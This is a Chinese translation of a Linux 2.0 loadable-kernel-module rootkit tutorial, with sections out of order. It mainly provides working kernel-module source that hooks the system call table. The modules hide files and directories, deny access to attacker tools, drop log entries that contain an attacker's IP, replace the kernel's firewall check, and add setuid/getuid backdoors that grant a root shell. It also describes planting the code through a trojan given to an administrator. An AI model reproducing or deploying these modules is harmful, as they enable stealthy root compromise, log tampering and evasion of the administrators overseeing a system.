个问题是你在超级管理程序中要隐藏自己的行迹直到某一时刻...)。所以用strace运行程序
(可能要求你有root权限)。
#strace ‘要运行的程序’
这个命令将给出一个漂亮的输出,就是运行程序中用到的所有系统调用甚至包括管理员在他
的伪装LKM(如果有的话)用到的系统调用。我没有能演示简单输出的超级管理程序,但
我们可以看一下’strace whoami’的输出结果。
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t\n", 5r00t
) = 5
_exit(0) = ?
这是一个非常不错的结果,列出了whoami命令用到的所有系统调用,不是吗?为了控制
whoami的输出,有四个重要的系统调用可被截获:
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
看一下II.6是如何解决那个问题的。分析程序的方法也是快速查询其它标准工具的一个重要
方法。
我希望现在你有能力找到一些系统调用了。这些系统调用可用来使你隐藏行迹,做系统后门,
或任何你想干的。
3.迷惑内核系统表
在II.1中你可以看到如何访问sys_call_table,它通过内核符号表导出。现在思考一下,通过
在我们的模块中访问它们,我们可以改动任何引出项(如函数,结构,变量)。
在/proc/ksyms中列出的所有项都可被截获。但我们的模块不能用这种方式改,因为我们没
引出任何符号。这里是我机器上/proc/ksyms文件的一部分,用来展示一下你可以改什么。
...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
...
只看call_in_firewall,这个函数在内核中用于防火墙管理,如果我们用一个伪造的函数代替
它会怎样呢?
看如下LKM:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
/*得到引出的函数*/
extern int *call_in_firewall;
/*我们自己的无用的call_in_firewall*/
int new_call_in_firewall()
{
return 0;
}
int init_module(void) /*module setup*/
{
call_in_firewall=new_call_in_firewall;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
}
编译/加载此LKM并执行’ipfwadm –I –a deny’。然后执行’ping 127.0.0.1’,你的内核会产生
一条有趣的错误信息,因为调用的call_in_firewall(...)函数已经换成假的了(此例中你可跳过
防火墙安装)。
这是一种破坏引出符号的非常粗鲁的方式。你也可以反汇编某个特定符号(用gdb)然后修
改某些特定字节,以改变符号的工作方式。想象一下,在引出函数中有IFTHEN结构,反
汇编这个函数,查找象JNZ,JNE这样的命令,会怎样 ...这种方法可修补重要项。当然,
你也可以在内核/模块源码中找这些函数,但当你只能得到模块的二进制代码时怎么办,这
时反汇编就很有用了。
4.针对文件系统的黑客方法
LKM入侵的最重要特征就是在本地文件系统中隐藏某些项(你留的漏洞,窃听(+记录),
等等)的能力。
4.1 如何隐藏文件
想象一下管理员是如何发现你的文件的:他会用‘ls’看所有的东西。对那些不知道的人,strace
命令检查ls可让你知道获得目录列表的系统调用为
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
所以我们知道应从哪里入手攻击了。下面的一段代码取自AFHRM(Michal Zalewski)的
hacked_getdents系统调用,这个模块可隐藏任何用ls列的文件和用getdents系统调用列的应
用程序。
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_getdents) (uint, struct dirent *, uint);
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]="ourtool"; /*要隐藏的文件*/
/*调用原始的getdents -> 结果放入tmp*/
tmp = (*orig_getdents) (fd, dirp, count);
/*目录缓存处理directory cache handling*/
/*必须这样检查,因为原始getdents可能把结果放入任务进程的结构的缓存中。*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
/*dinode 是所请求目录的i节点*/
if (tmp > 0)
{
/*dirp2 is a new dirent structure*/
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
/*copy original dirent structure to dirp2*/
memcpy_fromfs(dirp2, dirp, tmp);
/*dirp3 points to dirp2*/
dirp3 = dirp2;
t = tmp;
while (t > 0)
{
n = dirp3->d_reclen;
t -= n;
/*检查当前的文件名是否为我们想要隐藏的文件*/
if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
{
/*如果有必要则修改dirent结构*/
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (dirp3->d_reclen == 0)
{
/*
*处理一些该死的不正确使用
*getdents系统调用的fs 驱动程序
*/
tmp -= t;
t = 0;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
int init_module(void) /*module setup*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getdents]=orig_getdents;
}
对新手:读注释,用心思考10分钟。然后继续。
这种欺骗方式很有效,但记住管理员通过直接访问仍然能看到你的文件,如’cat ourtool’或’ls
ourtool’就可以。所以你的工具不要用很详细的名字如sniffer,mountdxpl.c等等。当然还有办
法防止管理员读你的文件,接着读吧。
4.2如何隐藏文件内容(总体说明)
我从未看到过隐藏文件内容的真正实现程序,当然在一些象AFHRM的MichalZalewski写
的LKM中有控制内容/删除函数,但不是真正的隐藏内容。我怀疑有很多人就这样做,但没
谁写出来过,所以我写了。很清楚,有很多办法做这些,第一种办法很简单,截获open系
统调用检查文件名是不是’ourtool’,如果是就否决任何打开文件的尝试,所以读/写或其它事
情都不能做。让我们实现这个LKM:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_open)(const char *pathname, int flag, mode_t mode);
int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";
/*把文件名传到内核空间*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_pathname, pathname, 255);
if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
kfree(kernel_pathname);
/*返回错误代码'file does not exist'*/
return -ENOENT;
}
else
{
kfree(kernel_pathname);
/*如果不是处理我们的’ourtool’,一切照常*/
return orig_open(pathname, flag, mode);
}
}
int init_module(void) /*module setup*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_open]=orig_open;
}
这个LKM工作的非常好,它告诉任何尝试访问我们文件的人,文件不存在。但我们自己如
何访问这些文件呢,有好多方法
设置一个magic-string
检查uid或gid(要求建立某一特定用户)
检查时间
4.3如何隐藏文件的特定部分(源语示例)
在3.2中提到的方法对我们自己的工具/记录都是非常有用的。但用来修改管理员/其它用户
的文件会怎样呢?想象一下你想控制/var/log/messages中关于你的IP地址/DNS名称的那些
记录项。我们知道成百上千个后门用来在任何记录文件中隐藏我们的标记,但LKM究竟怎
样滤掉写向文件的任何字符串(数据)的呢。如果这个字符串包含任何有关我们标记(例如
IP地址)的任何数据,我们应该否决(可以简单的忽略/返回)。下面的实现是非常基本的
原型LKM,只用来展示。我以前从未见过,但从3.2可知有些人已经这么做了很多年了。
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]="127.0.0.1"; /*我们想要隐藏的IP地址*/
kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
memcpy_fromfs(kernel_buf, buf, 999);
if (strstr(kernel_buf, (char*)&hide ) != NULL)
{
kfree(kernel_buf);
/*告诉程序,我们已经写了1字节*/
return 1;
}
else
{
kfree(kernel_buf);
return orig_write(fd, buf, count);
}
}
int init_module(void) /*module setup*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_write]=orig_write;
}
这个LKM有几个不好的地方,它不检查写的对象(可用fd检查,读一些例子)。这意味
着象’echo ‘127.0.0.1’’也会被禁止。你也可以修改将被写入的字符串,所以它可能是你喜欢
的某个人的IP地址....总之,基本思想是很清楚的。
4.4如何重定向/监视文件操作
很古老的思路,最先被AFHRM的Michal Zalewski实现。这里我就不写任何代码了,因为
太容易实现了(你看过II.4.3/II.4.2之后)。在很多事情上你可以监视/重定向文件系统事件:
某人写文件->拷贝内容到另一个文件=>可通过sys_write(...)完成重定向。
某人能读敏感文件->监视某个文件的读=>可通过sys_read(...)完成重定向。
打开文件->我们可以监视整个系统的这类事件=>截获sys_open(...)并写入记录文件;这是
AFHRM监视系统中文件的方法(源码见IV.3)
link/unlink事件->监视所有链接的创建=>截获sys_link(...)(源码见IV.3)
rename事件->监视所有改文件名的事件=>截获sys_rename(...)(源码见IV.3)
...
有一点非常有趣(尤其对管理员),因为你可以监视整个系统的文件变化。我认为,监视
用’touch’和’mkdir’命令建立的文件/目录也很有意思。
例如’touch’命令不用open创建文件;用strace命令显示如下(节选):
...
stat("ourtool", 0xbffff798) = -1 ENOENT (无此文件或目录)
creat("ourtool", 0666) = 3
close(3) = 0
_exit(0) = ?
如你所见,系统用调用sys_creat(...)来创建新文件。我认为这里提供源代码就没必要了,太
琐碎了,不过就是截获sys_creat(...)然后用printk(...)把所有文件名写入记录文件。
这些就是AFHRM记录所有重要事件的方法。
这种黑客方法不单针对文件系统,对一般的权限问题也非常重要。猜一下应截获哪个系统调
用。Phrack(plaguez)建议用万能UID接管sys_setuid(...)。这意味着无论何时用万能UID使用
setuid时,模块将把UID置0(超级用户)。
让我们看一下他的实现(只有hacked_setuid系统调用):
...
int hacked_setuid(uid_t uid)
{
int tmp;
/*我们有万能UID吗(在LKM中前面的某处定义) */
if (uid == MAGICUID) {
/*如成立将所有的UIDs置0 (超级用户)*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*o_setuid) (uid);
return tmp;
}
...
我认为下面的技巧在某些情况下也很有用。想象一下这样的情形:你给了(非常蠢的)管理
员一个恶意木马;这个木马安装了如下LKM到系统中[我没有实现隐藏功能,这只是我思
路的一个框架]:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_getuid)();
int hacked_getuid()
{
int tmp;
/*检查是否我的UID*/
if (current->uid=500) {
/*如果是我的UID -> 意味着我在登录->给我一个rootshell*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*orig_getuid) ();
return tmp;
}
int init_module(void) /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;
}
如果这个LKM被加载到我们只是普通用户的操作系统中,登录之后我们会得到一个
rootshell (当前进程有超级用户权力)。如我在第一部分提到的,current指的是当前任务(task)
结构。
4.6如何使黑客工具目录不可访问
对黑客来说建个目录放自己经常使用的工具很重要(黑客高手不使用常规的本地文件系统存
放数据)。用getdents方法可以隐藏我们的目录/文件,用open方法可使我们的文件不可访
问,但如何使我们的目录不可访问呢?
象通常的做法一样,看一下include/sys/syscall.h,你会发现SYS_chdir是我们要的系统调用
(不信的话可用strace命令看一下’cd’)。这次我不给出源码,因为你只需截获sys_mkdir,
做一下字符串比较。然后做常规调用(如不是我们的目录)或返回ENOTDIR(意味着‘此目
录不存在’)。现在你的工具中级管理员就不能发现了(高级/有病的管理员会在最底层扫描
硬盘,但在今天除了我们谁会这么疯狂?!)这种硬盘扫描也可击败,因为所有的一切都是
基于系统调用的。
1.什么是LKM
2.什么是系统调用
3.什么是内核符号表
4.如何进行内核与用户空间内存数据的交换
5.使用用户空间的各种函数方法
6.常用内核空间函数列表
7.什么是内核后台进程
8.创建自己的设备
II.深入探讨
1.如何截获系统调用
2.哪些系统调用应被截获
2.1 寻找重要的系统调用(strace命令方法)
3.迷惑内核系统表
4.针对文件系统的黑客方法
4.1 如何隐藏文件
4.2 如何隐藏文件内容(总体说明)
4.3 如何隐藏文件的特定部分(源语示例)
4.4 如何监视重定向文件操作
4.5 如何避免某一文件的属主问题
4.6 如何使黑客工具目录不可访问
4.7 如何改变CHROOT环境
5.针对进程的黑客方法
5.1如何隐藏某一进程
5.2如何重定向文件的执行
6.针对网络(Socket)的黑客方法
6.1 如何控制Socket操作
7.终端(TTY)的截取方法
8.用LKM编写病毒
8.1 LKM病毒是如何感染文件的(不仅感染模块;源语示例)
8.2 LKM病毒如何协助入侵的
9.使LKM不可见、不可删除
10.其它滥用内核后台进程的方法
11.如何检测自己编写的当前LKM
III.解决办法(用于系统管理员)
1.LKM检测程序的原理与思路
1.1 检测程序示例
1.2 密码保护的creat_module()函数类型程序的实例
2.反LKM传染程序的编写思路
3.使自己的程序不可跟踪(原理)
4.用LKM加固Linux内核
4.1 为何给予仲裁程序执行权?(用LKM实现的Phrack的Route的思路)
4.2 链路修补(用LKM实现的Phrack 的Solar Designer的思路)
4.3 /proc 权限修补(用LKM实现的Phrack的Route的思路)
4.4 securelevel修补(用LKM实现的Phrack的Route的思路)
底层磁盘修补
IV.一些更好的思路(用于黑客)
1.反击管理员的LKM的技巧
2.修补整个内核—或创建黑客操作系统
2.1如何在/dev/kmem下寻找内核符号
2.2无需内核支持的新insmod命令
3.最后几句
内容提要
V.最新特性:内核2.2
1.对LKM编写者来说主要的不同点
VI.后话
1.LKM的背景或如何使系统插件与入侵兼容
2.到其它资源的链接
致谢
附录
A –源代码
a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare
导 言
用Linux构造服务器环境越来越流行,所以入侵Linux也日益增多。攻击Linux的最高技术
之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块(LKM),是一段
运行在内核空间的代码,这就允许我们访问操作系统最敏感的部分。以前也有一些非常出色
的介绍LKM入侵的文献(例如Phrack),他们介绍新的思路、新的方法并完成一个黑客梦
寐以求的功能的LKM,并且1998年一些公开的讨论(新闻组、邮件列表)也是非常热门的。
为什么我又写一遍关于LKM的文字呢,有几个原因:
以前的文献对内核初学者没有给出好的解释;本文有比较大的篇幅帮助初学者去理解概念。
我见过很多利用漏洞或窃听程序却对这些东西如何工作一无所知的人。我在文中包括了大量
加了详细注释的源代码,主要也是为了帮助那些知道网络入侵远远不同于网络破坏的初学者。
所有公开的文献都是关于某个主题的,没有专门为黑客写的关于LKM的完备的指导。本文
将涵盖内核滥用的几乎所有方面(甚至关于病毒)
本文是从黑客和病毒程序编写者的角度出发的,但对系统管理员和一般内核开发人员改进工
作也有帮助。
早期的文献向我们提供了LKM滥用的主要优点和方法,但没有什么是大家没听说过的。本
文将提供一些新的思路。(没有完全都是新的东西,但有些东西会对我们有所帮助)
本文将提供一些概念,用简单的方法防止LKM攻击。
本文还将说明如何运用一些方法打破LKM保护,如实时代码修补。
请记住,新思路的实现是用源语模块实现的(只用于演示),如果要实际使用就须改写。
本文的写作动机是给大家一篇涵盖LKM所有问题的文章。在附录A给出了一些已有的LKM
插件和它们工作的简单描述以及如何使用它们。
整个文章(第五部分除外)是基于Linux2.0.x机器的(x86)。本人测试了所有程序和代码
段。为了使用本文的大部分程序例子,Linux系统必须支持LKM。只有第四部分提供的源
代码无须本地LKM支持。本文中的大部分思路在2.2.x版本的系统上也能用(也许需要一
些轻微改动);但想到2.2.x内核刚刚发布(1/99)并且大部分发行商一直使用2.0.x
(Redhat,SuSE,Caldera,...)。要到四月一些发行商如SuSE才会发行它们的2.2.x版内核,所
以目前还无须知道如何入侵2.2.x内核。好的系统管理员为了更稳定的2.2.x内核也等了好几
个月了。[注:好多系统不需要2.2.x内核所以还会沿用2.0.x]
本文有专门一节帮助系统管理员针对LKM提高系统安全。读者(黑客)也要阅读此节,你
必须懂得系统管理员懂的所有知识,甚至比他懂的更多。你从此节也会获得一些思路,帮助
自己编写更高级的‘黑客—LKM’。请通读全文。
请记住:本文仅用于教育目的。如利用本文的知识从事非法活动,后果自负。
第一部分 基础知识
1、什么是LKM
LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点:动态加载,无
须重新实现整个内核。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),
如声卡的驱动程序等等。
所有的LKM包含两个最基本的函数(最小):
int init_module(void) /*用于初始化所有成员*/
{
...
}
void cleanup_module(void) /*用于退出清理*/
{
...
}
加载一个模块使用如下命令,一般只有root有此权限:
#insomod module.o
此命令强制系统如下工作:
加载目标文件(此处为module.o)
调用create_module系统调用(关于系统调用见I.2)重新分配内存
内核符号用系统调用get_kernel_syms解析尚未解析的引用
然后系统调用init_module初始化LKMà 即执行int init_module(void)函数
内核符号将在I.3中解释(内核符号表)。
下面我们写出第一个小LKM展示一下它的基本工作原理:
#define MODULE
#include < LINUX module.h >
int init_module(void)
{
printk("<1>Hello World\n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
你可能想知道为什么用printk(...)而不是用printf(...),是的,内核编程大体上是不同于用户空
间编程的。你只有一个有限的命令集(见I.6)。用这些命令你不能做太多事,所以你将学
到如何利用你所知的用户空间应用的大量函数去帮助你攻击内核。耐心一点,我们不得不做
一些以前(没听过,没做过...)的一些事。
上例如下编译:
#gcc –c –O3 helloworld.c
#insmod helloworld.o
好,我们的模块被加载了,并显示了最著名的文字。现在你可以用一些命令来告诉你你的
LKM确实存在于内核空间了。
#lsmod
Module Pages Used by
helloworld 1 0
此命令从/proc/modules下读取信息,显示当前哪些模块被加载。’Pages’是内存信息(此模块
用了多少页);’Used by’栏目告之此模块被系统用了多少次(引用次数)。只有此栏目数值
为0时,才能删除模块;检查此数值后,可用如下命令删除模块:
#rmmod helloworld
好,这是我们朝着滥用LKM走的第一小步(非常小)。本人经常把LKM同以前DOS下内
存驻留程序进行对比(我知道,它们有很多不同),它们都是我们驻留在内存中截获每个我
们想要的中断的一个门户。微软的Win9x有种程序叫VxD的,也同LKM相似(当然也有
很多不同)。这些驻留程序最令人感兴趣的部分是具有挂起系统函数的功能,这些系统函数
在Linux世界里称为系统调用。
2、什么是系统调用
我希望你能明白,每个操作系统都有一些嵌在内核中的函数,这些函数可以被系统的每个操
作使用。
这些Linux使用的函数称为系统调用。它们对应用户和内核之间的转换。在用户空间打开一
个文件对应内核空间的sys_open系统调用。要得到自己系统的完全的系统调用列表可以看
/usr/include/sys/syscall.h文件。下面是我机器上的syscall.h列表:
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H
#define SYS_setup 0 /* 只用于初始化,使系统运行 。*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137 /* 用于Andrew文件系统的系统调用。*/
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
